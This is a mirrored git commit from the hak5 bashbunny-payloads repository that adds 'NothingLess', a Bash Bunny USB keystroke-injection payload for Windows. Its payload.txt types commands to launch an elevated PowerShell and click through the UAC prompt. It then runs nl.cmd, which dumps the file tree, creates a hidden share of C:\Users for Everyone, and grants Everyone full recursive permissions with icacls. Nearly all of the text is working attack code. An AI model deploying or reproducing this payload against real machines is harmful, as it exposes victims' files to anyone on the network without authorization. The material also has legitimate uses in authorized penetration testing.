mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
Added NothingLess payload (#120)
Maps the file system and stores it in c:\users\tempa Shares a drive or location to everyone and grants full security permissions to everyone
This commit is contained in:
parent
63b281646a
commit
34003917ee
9
payloads/library/NothingLess/nl.cmd
Normal file
9
payloads/library/NothingLess/nl.cmd
Normal file
@ -0,0 +1,9 @@
|
||||
ECHO off
|
||||
REM gather the system file structure
|
||||
mkdir c:\Users\tempa
|
||||
tree /a /f > c:\Users\tempa\tree.txt
|
||||
|
||||
REM creates a hidden share syntax(net share <sharename>=<sharelocation> /grant:<user>,<permission>)
|
||||
net share nless$=C:\Users /grant:Everyone,full
|
||||
REM creates security permissions for the shared folder syntax(icacls <sharedlocation> /grant <user>:<permissoons> /T
|
||||
icacls "C:\Users" /grant Everyone:(OI)(CI)F /T
|
||||
48
payloads/library/NothingLess/payload.txt
Normal file
48
payloads/library/NothingLess/payload.txt
Normal file
@ -0,0 +1,48 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# Title: Nothing Less
|
||||
# Author: StinkyBliss
|
||||
# Version: 1.0
|
||||
# Target: Windows
|
||||
#
|
||||
#
|
||||
# Maps the file system and stores it in c:\users\tempa
|
||||
# Shares a location to everyone and grants full security permissions to everyone
|
||||
#
|
||||
# For testing use: 'icacls "c:\Users" /remove:g Everyone /T' to remove the created security permissions
|
||||
# To share a drive change the path in nl.cmd to c: remove the quotes
|
||||
|
||||
LED R 200
|
||||
|
||||
# Source bunny_helpers.sh to get environment variable SWITCH_POSITION
|
||||
source bunny_helpers.sh
|
||||
|
||||
ATTACKMODE HID
|
||||
|
||||
Q GUI r
|
||||
Q DELAY 100
|
||||
Q STRING powershell Start-Process powershell -Verb runAs
|
||||
#Q STRING powershell
|
||||
Q ENTER
|
||||
|
||||
# Bypass UAC
|
||||
Q DELAY 1000
|
||||
Q LEFT
|
||||
Q ENTER
|
||||
|
||||
LED R G 200
|
||||
|
||||
ATTACKMODE HID STORAGE
|
||||
|
||||
# Start nl.cmd
|
||||
Q STRING ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\switch1\nl.cmd')"
|
||||
Q ENTER
|
||||
|
||||
# Wait for nl.cmd and exit
|
||||
Q DELAY 1000
|
||||
Q STRING exit
|
||||
Q ENTER
|
||||
|
||||
sync
|
||||
|
||||
LED G
|
||||
23
payloads/library/NothingLess/readme.md
Normal file
23
payloads/library/NothingLess/readme.md
Normal file
@ -0,0 +1,23 @@
|
||||
# NothingLess for Bash Bunnys
|
||||
|
||||
* Author: StinkyBliss
|
||||
* Version: Version 1.0
|
||||
* Target: Windows
|
||||
|
||||
## Description
|
||||
|
||||
For testing use: 'icacls "c:\Users" /remove:g Everyone /T' to remove the created security permissions
|
||||
To share a drive change the path in nl.cmd to c: remove the quotes
|
||||
|
||||
## Configuration
|
||||
|
||||
None, only optionl changes
|
||||
|
||||
## STATUS
|
||||
|
||||
| LED | Status |
|
||||
| ------------------ | -------------------------------------------- |
|
||||
| Red (blinking) | Setting up |
|
||||
| yellow (blinking) | Attack running |
|
||||
| Green | Attack Complete |
|
||||
| ------------------ | -------------------------------------------- |
|
||||
Loading…
x
Reference in New Issue
Block a user